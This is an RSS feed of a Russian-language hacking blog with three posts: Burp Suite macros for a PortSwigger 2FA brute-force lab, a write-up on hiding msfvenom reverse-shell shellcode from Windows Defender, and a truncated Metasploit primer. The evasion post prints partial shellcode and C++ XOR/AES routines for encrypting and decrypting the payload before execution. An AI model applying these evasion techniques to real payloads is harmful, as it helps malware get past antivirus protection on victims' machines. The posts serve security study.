<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Путь до хакера | Cyber Security</title><generator>teletype.in</generator><description><![CDATA[Основная группа: https://t.me/hackerblog]]></description><image><url>https://img4.teletype.in/files/b2/b6/b2b632a3-278c-496e-abc0-f555a59073cf.png</url><title>Путь до хакера | Cyber Security</title><link>https://teletype.in/@hackerblog</link></image><link>https://teletype.in/@hackerblog?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/hackerblog?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/hackerblog?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 19 Apr 2026 21:45:05 GMT</pubDate><lastBuildDate>Sun, 19 Apr 2026 21:45:05 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@hackerblog/j5dnrOte0dt</guid><link>https://teletype.in/@hackerblog/j5dnrOte0dt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/j5dnrOte0dt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Раскрываем секретные функции: магия макросов в Burp Suite</title><pubDate>Sat, 02 Mar 2024 08:23:55 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/4b/d3/4bd32098-228a-4e9e-9207-a0ca11e29208.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/25/84/258458b9-1da0-4217-8b2d-b10f605ee24a.jpeg"></img>Привет! Если ты думаешь, что знаешь всё о Burp Suite, я тебя удивлю! Этот мощный инструмент для тестирования веб-приложений скрывает в себе ещё больше возможностей, способных значительно упростить и ускорить работу. Сегодня мы изучим функционал макросов на практике и увидим, как они могут стать надежным помощником в процессе тестирования и анализа веб-приложений.]]></description><content:encoded><![CDATA[
  <p id="bpCB">Привет! Если ты думаешь, что знаешь всё о Burp Suite, я тебя удивлю! Этот мощный инструмент для тестирования веб-приложений скрывает в себе ещё больше возможностей, способных значительно упростить и ускорить работу. Сегодня мы изучим функционал макросов на практике и увидим, как они могут стать надежным помощником в процессе тестирования и анализа веб-приложений. </p>
  <h2 id="5AIX">Немножко вводной информации</h2>
  <p id="GVUR"><em>P.S. Доступно в Pro версии*</em></p>
  <p id="0KiG">Совсем недавно я решал <a href="https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack" target="_blank">лабораторную работу</a> &quot;Обход 2FA с помощью грубой силы&quot; на PortSwigger&#x27;e, где было необходимо перед каждым запросом обновлять CSRF-Token. Безусловно, можно реализовать скрипт, который перед каждой итерацией будет делать GET запрос к нужной странице и парсить токен, например:</p>
  <pre id="E4Je" data-lang="python">def get_csrf_token(text):
    soup = BeautifulSoup(text, &#x27;html.parser&#x27;)
    return soup.find(&#x27;input&#x27;, attrs={&#x27;name&#x27;: &#x27;csrf&#x27;})[&#x27;value&#x27;]</pre>
  <p id="X1y1">Но другим более элегантным вариантом является использование макросов.</p>
  <h2 id="5PQl">Разбираем на практике</h2>
  <p id="j6QM">Итак, давайте посмотрим на описание задания:</p>
  <figure id="xiLh" class="m_column">
    <img src="https://img1.teletype.in/files/08/40/0840a563-ac6a-4df9-af6a-9203e0489698.png" width="895" />
  </figure>
  <p id="npT6">Тут понятно. Рассмотрим логику работы авторизации.</p>
  <figure id="1Oki" class="m_original">
    <img src="https://img1.teletype.in/files/05/8e/058e811e-d4d4-42a6-a207-be1d0ea42fd0.png" width="704" />
  </figure>
  <p id="nAmY">GET /login -&gt; POST /login -&gt; GET /login2 -&gt; POST /login2</p>
  <p id="6qwN">Стоить отметить, что при двух неудачных попытках ввода проверочного кода, нас редиректит на /login. Также важно учесть, что мы используем &quot;одноразовый&quot; CSRF токен перед каждым POST запросом, который получаем в ответе от сервера на GET /login и GET /login2:</p>
  <figure id="iliT" class="m_column">
    <img src="https://img1.teletype.in/files/8c/ae/8cae13b5-e694-4b16-b4e6-f77a2786a1c3.png" width="357" />
  </figure>
  <p id="NC7j">Теперь мы знаем, что необходимо регулярно обновлять токен. С этой задачей нам помогут макросы.</p>
  <p id="Hz5Y">Для этого перейдем в Project options -&gt; Sessions -&gt; Session Handling Rules -&gt; Add</p>
  <figure id="oZR7" class="m_column">
    <img src="https://img2.teletype.in/files/11/a3/11a3e998-c13b-42b2-b918-a59e5afa0325.png" width="958" />
  </figure>
  <p id="7MAN">Сразу выберем скоуп:</p>
  <figure id="EVRV" class="m_column">
    <img src="https://img1.teletype.in/files/81/b5/81b56a12-4642-4a0d-83d9-5d1460746f29.png" width="958" />
  </figure>
  <p id="4Fu9">Теперь создадим новое правило &quot;Run a macro&quot;</p>
  <figure id="NewE" class="m_column">
    <img src="https://img2.teletype.in/files/d3/82/d382fee7-c852-4e6b-b4ad-eb532651c8fc.png" width="958" />
  </figure>
  <p id="6ZtH">Создадим макро, нажав на &quot;Add&quot;</p>
  <figure id="Ye1r" class="m_column">
    <img src="https://img2.teletype.in/files/5f/fd/5ffd036d-f668-4e67-bcd9-e8dc791a60ae.png" width="1014" />
  </figure>
  <p id="uNse">В данном окне выбираем необходимую последовательность запросов. В нашем случае,- это <code>GET /login POST /login GET /login2</code></p>
  <figure id="vB6z" class="m_column">
    <img src="https://img1.teletype.in/files/85/7c/857cc09f-6f2a-4889-af9c-26f22a47632f.png" width="1344" />
  </figure>
  <p id="JzVJ">На всякий случай, лучше убедиться, что всё работает, нажав на кнопку &quot;Test macro&quot;</p>
  <figure id="r5bH" class="m_column">
    <img src="https://img3.teletype.in/files/64/b9/64b9afb4-63be-4e87-b5a9-3b2a43c55470.png" width="1141" />
  </figure>
  <p id="sJX2">Как видим, макрос успешно создан:</p>
  <figure id="Ugpk" class="m_column">
    <img src="https://img4.teletype.in/files/31/68/31682cc4-718c-41c4-82ff-957af447e224.png" width="1105" />
  </figure>
  <p id="rPqi">Теперь перейдем в Intruder и настроим его нужным образом</p>
  <figure id="V41V" class="m_column">
    <img src="https://img4.teletype.in/files/b6/ff/b6ffc68c-252d-40a6-bd3e-4bd4d53b5401.png" width="1146" />
  </figure>
  <figure id="mCRN" class="m_column">
    <img src="https://img1.teletype.in/files/0b/4c/0b4cbd29-d57b-48f5-8814-29eb83063582.png" width="1146" />
  </figure>
  <figure id="n1E7" class="m_column">
    <img src="https://img1.teletype.in/files/47/c9/47c9c702-a2c2-4c46-b887-b44c3c26bc17.png" width="1146" />
  </figure>
  <p id="nlc3">И запустим:</p>
  <figure id="kntO" class="m_column">
    <img src="https://img3.teletype.in/files/a4/47/a4471bb7-fbcb-471b-8323-49b9f2122a7b.png" width="1146" />
  </figure>
  <p id="UZ0X">Бинго! Мы смогли автоматизировать достаточно нудный процесс. Стоит учитывать, что в данном примере, данный способ требует &quot;4 запроса на 1 запрос&quot;, что значительно тормозит скорость выполнения задачи. В любом случае, данный функционал является очень удобным и полезным для автоматизации некоторых процессов. Удачи!</p>
  <p id="Yrvm"><em>P.S. Когда узнал, что Burp так умеет, очень удивился и решил поделиться с народом. Может, кто-то тоже не знал :)</em></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/PtB5Fw2oQbX</guid><link>https://teletype.in/@hackerblog/PtB5Fw2oQbX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/PtB5Fw2oQbX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Сила шифрования или как я выявил недостаток работы Defender’а</title><pubDate>Sun, 18 Feb 2024 03:22:56 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/13/8a/138af06a-cebf-439f-8e82-3bc34cfd9010.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/51/7d/517d88b6-c11a-416e-b292-7b4d9a04be0a.jpeg"></img>Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kfEM"><strong>Внимание!</strong> С<em>татья несёт исключительно информативный характер. Подобные действия преследуются по закону!</em></p>
  </section>
  <p id="x6FP">В наше время цифровая безопасность все более актуальна, поскольку важность защиты конфиденциальной информации и данных не может быть переоценена. Шифрование информации становится все более неотъемлемой частью нашей цифровой жизни, обеспечивая надежную защиту от несанкционированного доступа.</p>
  <p id="vB6v">К сожалению, шифрование часто используется не только в хороших, но и плохих целях.</p>
  <p id="zmOR">В данной статье рассмотрим, как технологии шифрования помогают в защите конфиденциальности и целостности данных, а также как современные средства безопасности могут оказаться недостаточными для полноценный защиты.</p>
  <p id="KGey">Мы проанализируем случай, когда использование шифрования стало ключевым элементом в обнаружении недостатка в работе средств защиты, и поймем почему так происходит.</p>
  <p id="IEi1"></p>
  <h2 id="9xYO">Примечание</h2>
  <p id="RRUH">В качестве примера, создал нагрузку, которая вызовет диалоговое окно с подтверждением активации обратного соединения, а также его прекращения.</p>
  <h3 id="gKBq"></h3>
  <p id="eejG">Ниже представлен пример инициализации нагрузки посредством его внедрения в исполняемый код на языке С++.</p>
  <pre id="PvwN" data-lang="cpp">
  unsigned char shellcode[] = &quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;
                              &quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;
                              .....................укороченная.версия...................                
                              &quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x7c&quot;
                              &quot;\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;

</pre>
  <p id="YoeV"></p>
  <h2 id="hAHK">Основная часть</h2>
  <h3 id="RMCf">Генерация нагрузки</h3>
  <blockquote id="K9qx">В качестве инструмента для тестирования на проникновение, использовал <code>msfvenom</code>.</blockquote>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="wx3W"><strong>Внимание!</strong> Использование данного программного обеспечения возможно только с санкции пользователя и ни в каких других случаях невозможно!</p>
  </section>
  <p id="OmEn">Нагрузку я выбрал самую тривиальную. Ее использование детектится.</p>
  <figure id="1q9b" class="m_column">
    <img src="https://img3.teletype.in/files/a5/cf/a5cfaef9-464c-49e7-b6f0-016c34d21c49.png" width="717" />
  </figure>
  <h3 id="YTKv">Упаковка</h3>
  <p id="igyk">Для корректной упаковки, я использовал <code>x86_64-w64-mingw32-g++</code></p>
  <p id="Izk8">Установить его можно с помощью следующей команды:</p>
  <pre id="jH7Y" data-lang="bash">apt install x86_64-w64-mingw32-g++</pre>
  <p id="UtOo">Тестовая сборка:</p>
  <pre id="DeHp" data-lang="bash">x86_64-w64-mingw32-g++ -o test.exe test.cpp</pre>
  <p id="OD0H">Запустил и обнаружил следующее:</p>
  <figure id="yX15" class="m_column">
    <img src="https://img1.teletype.in/files/03/81/03810c7c-3325-4eeb-b746-694e9fff5a0d.png" width="827" />
  </figure>
  <p id="wwoK">Как видно, ошибка связана отсутствием libstdc++-6.dll. Починить это можно путем прямой установки нужных компонент. Но можно собрать файл заново, используя &quot;статическую линковку&quot; (внедрение необходимых зависимостей в файл). Безусловно, при таком подходе вес файла станет больше, но, зато будет всё работать.</p>
  <p id="Mf6A">Для этого, к прошлой команде добавил флаг <code>-static</code></p>
  <pre id="AiB3" data-lang="bash">x86_64-w64-mingw32-g++ -static -o test.exe test.cpp</pre>
  <figure id="edGk" class="m_column">
    <img src="https://img2.teletype.in/files/94/7b/947b047e-221a-412c-8c21-6854881bcf8b.jpeg" width="1920" />
  </figure>
  <p id="gVfd">Запустил файл:</p>
  <figure id="LMYv" class="m_original">
    <img src="https://img1.teletype.in/files/89/20/892036a0-eeb0-437c-af72-d241a1da015d.png" width="581" />
  </figure>
  <figure id="klGB" class="m_column">
    <img src="https://img1.teletype.in/files/0c/30/0c3056b3-8396-4540-b7fb-bf220bc2d2b5.png" width="1114" />
  </figure>
  <p id="gbQl"></p>
  <h2 id="7uJm">Выявление недостатка работы АВ</h2>
  <p id="sYSi">В работоспособности исполняемого файла убедился. А теперь попробовал запустить файл с активированной защитой на хосте.</p>
  <figure id="E7er" class="m_column">
    <img src="https://img1.teletype.in/files/87/4f/874fe8ed-a185-4848-a299-3551fc209921.png" width="688" />
  </figure>
  <blockquote id="likK">Поскольку я использовал стандартную нагрузку без шифрования, Defender с легкостью обнаружил ВПО.</blockquote>
  <figure id="jSd1" class="m_column">
    <img src="https://img4.teletype.in/files/b7/fe/b7fe36b5-8ca5-4390-bdb3-c155a4ebe5ce.png" width="372" />
  </figure>
  <h2 id="VHJ5">Шифрование нагрузки</h2>
  <p id="f3Me"><strong>XOR</strong></p>
  <p id="Jysa">Стандарт кодирования- это XOR (<em>исключающее или</em>).</p>
  <p id="IGS0">Реализация в коде:</p>
  <pre id="Kfbt" data-lang="cpp">void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char key) {
    for (size_t i = 0; i &lt; size; i++) {
        shellcode[i] ^= key;
    }
}</pre>
  <pre id="Kfbt" data-lang="cpp">unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key = 0x16; // Ключ для XOR-шифрования
encryptdecrypt(originalShellcode, shellcodeSize, key);// Шифрование нагрузки
...

// Расшифрование нагрузки перед выполнением
encryptdecrypt(static_cast&lt;unsigned char*&gt;(execMemory), shellcodeSize, key);</pre>
  <p id="VTud"> Здесь видно, что XOR не справился со своей задачей.</p>
  <figure id="AhZ8" class="m_column">
    <img src="https://img4.teletype.in/files/b7/fe/b7fe36b5-8ca5-4390-bdb3-c155a4ebe5ce.png" width="372" />
  </figure>
  <p id="HHYe">Далее, я подумал, что можно усложнить ключ, сделав его последовательностью байт:</p>
  <pre id="YKpM" data-lang="cpp">void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char* key, size_t keysize) {
    for (size_t i = 0; i &lt; size; i++) {
        shellcode[i] ^= key[i % keysize];
    }
}</pre>
  <pre id="Nlea" data-lang="cpp">unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
size_t keysize = sizeof(key); 
encryptdecrypt(originalShellcode, shellcodeSize, key, keysize);
...
encryptdecrypt(static_cast&lt;unsigned char*&gt;(execMemory), shellcodeSize, key, keysize);</pre>
  <p id="EBAm">Это также не сработало</p>
  <figure id="vdIt" class="m_original">
    <img src="https://img2.teletype.in/files/dc/61/dc613e8e-13fb-48fc-972a-d67b6056fa96.png" width="550" />
  </figure>
  <p id="kkqz">Вариант с XOR можно пока что отложить. Вероятно, нужно более сложное шифрование. Попробовал AES128</p>
  <h3 id="MMXa">AES</h3>
  <p id="AsOH"><em>Использовал реализацию от Сергея Бела: <a href="https://github.com/SergeyBel/AES/blob/master/README.md" target="_blank">тык</a></em></p>
  <p id="0zcZ">Результаты работы библиотеки:</p>
  <figure id="UOO9" class="m_column">
    <img src="https://img3.teletype.in/files/6e/a8/6ea8d30b-d06b-4efe-a250-3331c89edd22.png" width="1151" />
  </figure>
  <p id="eAsC">Также для массива в другом виде:</p>
  <figure id="Vt0B" class="m_column">
    <img src="https://img4.teletype.in/files/b0/76/b0769b38-d891-4dfd-ad96-5010627a0893.png" width="1231" />
  </figure>
  <p id="x2cX">Как видно, для второго варианта расшифрование выполняется некорректно. </p>
  <p id="H0nE"><strong>Что я понял при знакомстве с AES и библиотек в частности:</strong></p>
  <ol id="VYzn">
    <li id="g1s5">Ключ должен быть кратен 16 байтам;</li>
    <li id="IZcN">Размер массива должен быть также кратен 16 байтам;</li>
    <li id="fcjJ">Размер ключа при расшифровании должен быть использован тот же, что и при шифровании;</li>
    <li id="Rul8">Для корректной работы, рекомендуется использовать вариант нагрузки в виде строки, поскольку может возникнуть ошибка по длине/некорректное расшифрование (см. пример выше);</li>
    <li id="o0SI">Если не хватает длины до кратности, можно дополнить нагрузку с помощью <code>&quot;\x00&quot;;</code></li>
    <li id="tBtb">Для подключения библиотеки достаточно просто заинклудить хэдер и добавить в проект .cpp;</li>
    <li id="7ysZ">При нагрузке в виде строки, необходимо учитывать важную вещь: к размерности массива автоматически прибавляется 1;</li>
  </ol>
  <figure id="eyf8" class="m_column">
    <img src="https://img2.teletype.in/files/57/53/57530d45-149e-4f84-ae6b-af20e89fc176.png" width="963" />
  </figure>
  <p id="PyY1"><strong>Пример дополнения:</strong></p>
  <p id="ynls"><em>Для видимости дебага, переписал <code>throw</code> в исходниках на <code>cout</code></em></p>
  <figure id="fHSj" class="m_original">
    <img src="https://img2.teletype.in/files/df/27/df271a82-4225-42dc-969a-e45588b040b8.png" width="597" />
  </figure>
  <figure id="2Ab8" class="m_original">
    <img src="https://img3.teletype.in/files/ee/4e/ee4e4e4a-72e1-4ab7-8c14-e48b277b8f60.png" width="476" />
  </figure>
  <p id="ZUL7">Буду дополнять слово &quot;hello&quot;:</p>
  <figure id="abET" class="m_column">
    <img src="https://img1.teletype.in/files/ce/df/cedf0031-c980-49ea-b674-16b4dab770ae.png" width="1127" />
  </figure>
  <p id="f6kZ">Имею ошибки по длине. Дополню 9 байт:</p>
  <figure id="s5tY" class="m_column">
    <img src="https://img3.teletype.in/files/26/91/26911a38-937f-4a53-90d1-25dd6ca81ac5.png" width="1204" />
  </figure>
  <h3 id="vEXB">Внедряем библиотеку в код</h3>
  <figure id="Nka4" class="m_column">
    <img src="https://img1.teletype.in/files/8b/81/8b819b6a-53d6-4884-9301-b71cc418a969.png" width="1225" />
  </figure>
  <p id="jbMP">Сначала я дополнил нагрузку до нужной длины (512 байт), зашифровал, а потом расшифровал ее и опять словил детект. </p>
  <p id="L3zT">Тогда ко мне в голову пришла идея использовать в качестве массива заранее зашифрованное сообщение. </p>
  <p id="51Bn"><em>Шифрование и расшифрование будет происходить с одним и тем же ключом.</em></p>
  <figure id="Ijhq" class="m_column">
    <img src="https://img1.teletype.in/files/cd/56/cd562057-3e20-4d5b-86b3-3bd8183f8b1d.png" width="508" />
  </figure>
  <p id="USLD">Итак, благодаря функции <code>aes.printHexArray();</code>,  я смог вывести зашифрованный массив байт. Теперь приведу его к виду строки.</p>
  <figure id="InSg" class="m_column">
    <img src="https://img3.teletype.in/files/a9/f3/a9f3999e-aaea-468b-955d-e9a18b1b819b.png" width="1468" />
  </figure>
  <figure id="sOHa" class="m_column">
    <img src="https://img4.teletype.in/files/7a/12/7a12ae75-e01d-404f-a6c0-8e32868d05fc.png" width="702" />
  </figure>
  <figure id="0R9A" class="m_column">
    <img src="https://img4.teletype.in/files/b4/63/b4630d4f-4122-430b-a3a2-6cb584adbc03.png" width="790" />
  </figure>
  <p id="jq9E">Прошу обратить внимание, что расшифровка прошла успешно, но это не принесло никаких результатов.</p>
  <p id="nKiV">Тогда я подумал, что, возможно, стоит использовать XOR поверх AES. Также мне хотелось избежать хранения &quot;сырой&quot; нагрузки в коде, поэтому, для удобства, я написал следующий скрипт:</p>
  <pre id="fQ2L" data-lang="cpp">#include &lt;iostream&gt;
#include &quot;windows.h&quot;
#include &quot;AES.h&quot;
#include &lt;iomanip&gt;
void encryptdecrypt(unsigned char* shellcode, unsigned int size, unsigned char* key, size_t keysize) {
    for (size_t i = 0; i &lt; size; i++) {
        shellcode[i] ^= key[i % keysize];
    }
}
int main() {
    AES aes(AESKeyLength::AES_128);
    unsigned char shellcode[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x6d, 0x79, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6e, 0x64, 0x00 };
    unsigned int shellcodesize = sizeof(shellcode);
    std::cout &lt;&lt; &quot;Shellcode len: &quot; &lt;&lt; shellcode;
    std::cout &lt;&lt; shellcodesize &lt;&lt; std::endl;
    unsigned char aeskey[] = { 0x23, 0x45, 0x67, 0x89,0xAB, 0xCD, 0xEF, 0x10,0x32, 0x54, 0x76, 0x98,0xBA, 0xDC, 0xFE, 0x00 };
    unsigned char xorkey[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
    unsigned char* aesshellcode = aes.EncryptECB(shellcode, shellcodesize, aeskey);
    std::cout &lt;&lt; &quot;AES ENCRYPT: &quot;;
    aes.printHexArray(aesshellcode, shellcodesize);
    size_t keysize = sizeof(xorkey);
    std::cout &lt;&lt; &quot;\n\n&quot;;
    encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
    std::cout &lt;&lt; &quot;AES + XOR ENCRYPT: &quot;;
    for (int i = 0; i &lt; shellcodesize; i++) {
        std::cout &lt;&lt;  std::hex &lt;&lt; std::setfill(&#x27;0&#x27;) &lt;&lt; std::setw(2) &lt;&lt; static_cast&lt;int&gt;(aesshellcode[i]);
        if (i &lt; shellcodesize - 1) {
            std::cout &lt;&lt; &quot;, &quot;;
        }
    }
    std::cout &lt;&lt; &quot;\n\n&quot;;
    std::cout &lt;&lt; &quot;XOR DECRYPT: &quot;;
    encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
    for (int i = 0; i &lt; shellcodesize; i++) {
        std::cout &lt;&lt;  std::hex &lt;&lt; std::setfill(&#x27;0&#x27;) &lt;&lt; std::setw(2) &lt;&lt; static_cast&lt;int&gt;(aesshellcode[i]);
        if (i &lt; shellcodesize - 1) {
            std::cout &lt;&lt; &quot;, &quot;;
        }
    }
    unsigned char* decaesshelcode = aes.DecryptECB(aesshellcode, shellcodesize, aeskey);
    std::cout &lt;&lt; &quot;\n\n&quot;;
    std::cout &lt;&lt; &quot;XOR + AES DECRYPT: &quot;;
    aes.printHexArray(decaesshelcode, shellcodesize);
    }</pre>
  <p id="F4fL">Результат работы скрипта:</p>
  <figure id="5uWi" class="m_column">
    <img src="https://img4.teletype.in/files/31/58/31589d82-ac48-496b-b6cb-569ab934e57d.png" width="992" />
  </figure>
  <p id="YejA">Смысл скрипта такой:</p>
  <p id="ceKl"><code>Plain -&gt; AES -&gt; XOR -&gt; deXOR -&gt; deAES -&gt; Plain</code></p>
  <p id="F2cP">По сути, мне необходимы следующие вещи из этого кода: ключи и AES+XOR массив байт. Строки дальше существуют чисто для проверки корректности работы шифрования/расшифрования.</p>
  <figure id="mRYX" class="m_column">
    <img src="https://img4.teletype.in/files/78/a2/78a2376b-2b15-41a8-9be0-dcf8a65eebd5.png" width="550" />
  </figure>
  <p id="jKYM">Проверка такого способа вновь завершилась неудачей. Я подумал, что наверняка есть какой-то способ проверить в чем именно проблема. Оказалось, что даже если я зашифрую нагрузку хоть 100 раз и 100 раз в коде будут лежать ключи в открытом виде, АВ средство с легкостью обнаружит ВПО, <u>что достаточно круто и похвально</u>.</p>
  <h3 id="DzOJ">Финальный этап</h3>
  <p id="oknG">Я понял, что нужно избавиться от статики в пользу динамики, тем самым обезличив ключи и сделав их генерацию псевдослучайной.</p>
  <p id="qFmj">Для этого использовал библиотеку <code>windows.h</code> , которая позволяет работать с WinAPI</p>
  <figure id="8v9b" class="m_column">
    <img src="https://img3.teletype.in/files/e6/73/e6734fb7-e8e2-4647-9c78-e66e1d8120dd.png" width="366" />
  </figure>
  <p id="fscP">И сама генерация ключа:</p>
  <figure id="lOR6" class="m_column">
    <img src="https://img2.teletype.in/files/d8/e4/d8e4d49e-37bb-40c1-b57c-237319942e6f.png" width="487" />
  </figure>
  <p id="AoM8">Очевидно, что, для данного случая, необходимо заведомо знать имя хоста, но для моего исследования это некритично, поскольку работаю на локальных машинах.</p>
  <p id="nMtC"></p>
  <p id="0jkY">В качестве эксперимента, моя схема состояла в следующем:</p>
  <figure id="ViHK" class="m_column">
    <img src="https://img1.teletype.in/files/c8/d1/c8d1223a-2ecd-4fa1-99cf-f047788e4fed.png" width="768" />
  </figure>
  <p id="S0NE">Как можно заметить, я не отказался от статических ключей. Идея состояла в проверке необходимости и достаточности хотя бы одного динамического ключа.</p>
  <p id="pN7a">Видно, что в процессе выполнения кода, нагрузка сначала будет расшифрована с помощью динамического ключа. Затем, получится так, что останется нагрузка только со статическим ключом, которая, по идее, не должна отработать (примеры выше).<br /><br />Но, на мое удивление, это сработало!</p>
  <figure id="2DVt" class="m_column">
    <img src="https://img4.teletype.in/files/b5/b5/b5b5421b-b800-482e-8cf3-4f09438580bb.png" width="1469" />
  </figure>
  <h2 id="yyzc">Вывод</h2>
  <p id="vaLb">В конечном итоге, исследование выявило серьезный недостаток в работе АВ средства Windows Defender, связанное с некачественным анализом приложений, использующих динамические ключи для шифрования участков кода. Это поднимает важные вопросы о безопасности информации и подчеркивает необходимость улучшения средств защиты. Несмотря на то, что данный способ уже не работает (статья писалась 3 месяца), подобные уязвимости могут иметь далеко идущие последствия. Напоследок, еще раз хочется подчеркнуть, что повторение данных действий приводит к нарушению законодательства.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/metasploit</guid><link>https://teletype.in/@hackerblog/metasploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/metasploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Metasploit Framework 101 by cherepawwka</title><pubDate>Fri, 02 Feb 2024 15:44:39 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b7/49/b749af0a-a0c7-4981-8fd5-11fb322e657e.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/026f9fcaff1f1ac2c9041.png"></img>Сегодня мы чуть подробнее познакомимся с фрэймворком Metasploit, его консолью и инструментом msfvenom, а также посмотрим на него в действии.]]></description><content:encoded><![CDATA[
  <p id="j45Y">Всем привет!</p>
  <p id="vaAI">Сегодня мы чуть подробнее познакомимся с фрэймворком Metasploit, его консолью и инструментом msfvenom, а также посмотрим на него в действии.</p>
  <figure id="Ii2c" class="m_column">
    <img src="https://telegra.ph/file/026f9fcaff1f1ac2c9041.png" width="1024" />
    <figcaption>Metasploit Framework 101</figcaption>
  </figure>
  <p id="JSdO"><em>Примечание: статья несёт исключительно информативный характер, весь материал привёден в учебных целях. Использование описанных в статье техник в злонамеренных целях преследуется по закону.</em></p>
  <h3 id="Знакомство-с-Metasploit">Знакомство с Metasploit</h3>
  <p id="1hGB">Metasploit Framework — это мощнейший инструмент, который помогает специалистам тестированию на проникновение исследовать и эксплуатировать уязвимости в сетях и на серверах, а также закрепляться на скомпрометированных хостах и использовать множественные техники постэксплуатации, предоставляемые фрэймворком.</p>
  <p id="9WRu">Metasploit — проект с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. Официальный репозиторий проекта: <a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></p>
  <figure id="5xq5" class="m_column">
    <img src="https://telegra.ph/file/e27ae2d7ee7b598c1509d.png" width="1470" />
    <figcaption>Официальный GitHub-репозиторий проекта</figcaption>
  </figure>
  <p id="s067">Metasploit предустановлен в Kali Linux, и в этой статье я буду использовать машину с этой ОС для демонстрации основных возможностей продукта.</p>
  <h4 id="WhereIs">WhereIs</h4>
  <p id="8xpE">Файлы фрэймворка в Kali можно найти в следующей директории:</p>
  <pre id="VavK">/usr/share/metasploit-framework/
</pre>
  <figure id="VF4Q" class="m_column">
    <img src="https://telegra.ph/file/5e0077c7b54ee49073e79.png" width="410" />
    <figcaption>Файлы фреймворка</figcaption>
  </figure>
  <p id="pyvU">Модули фрэймворка расположены тут:</p>
  <pre id="pyOn">/opt/metasploit*/modules/
/usr/share/metasploit-framework/modules/
</pre>
  <figure id="HINH" class="m_column">
    <img src="https://telegra.ph/file/82339613d6ff7d1758c38.png" width="493" />
    <figcaption>Модули MSF</figcaption>
  </figure>
  <p id="niF0"><em>Примечание: просмотреть содержимое директорий в виде дерева можно с использованием утилиты tree: <code>tree -L 2 auxiliary</code>, где 2 — глубина (1 — аналогично <code>ls -l</code>, 2 — показывает подкаталоги, и т.д.), а <code>auxiliary</code> — имя папки. </em></p>
  <p id="APBc">Типы нагрузок: <code>tree -L 1 payloads</code></p>
  <ol id="goXI">
    <li id="EnEq">adapters;</li>
    <li id="8IN3">singles (самостоятельные нагрузки, выполняются в один этап);</li>
    <li id="f5qc">stagers (загрузчики);</li>
    <li id="YnvZ">stages (второй этап загрузки, загружаемый stager&#x27;ами).</li>
  </ol>
  <figure id="hrAW" class="m_column">
    <img src="https://telegra.ph/file/026c57dcdcffa4beaa27c.png" width="472" />
    <figcaption>Нагрузки фрэймворка</figcaption>
  </figure>
  <p id="2kSQ">В Metasploit есть тонкий способ идентификации самостоятельных пэйлодов и staged-вариантов:</p>
  <ol id="NJCr">
    <li id="MUBA">generic/shell_reverse_tcp</li>
    <li id="YMgf">windows/x64/shell/reverse_tcp</li>
  </ol>
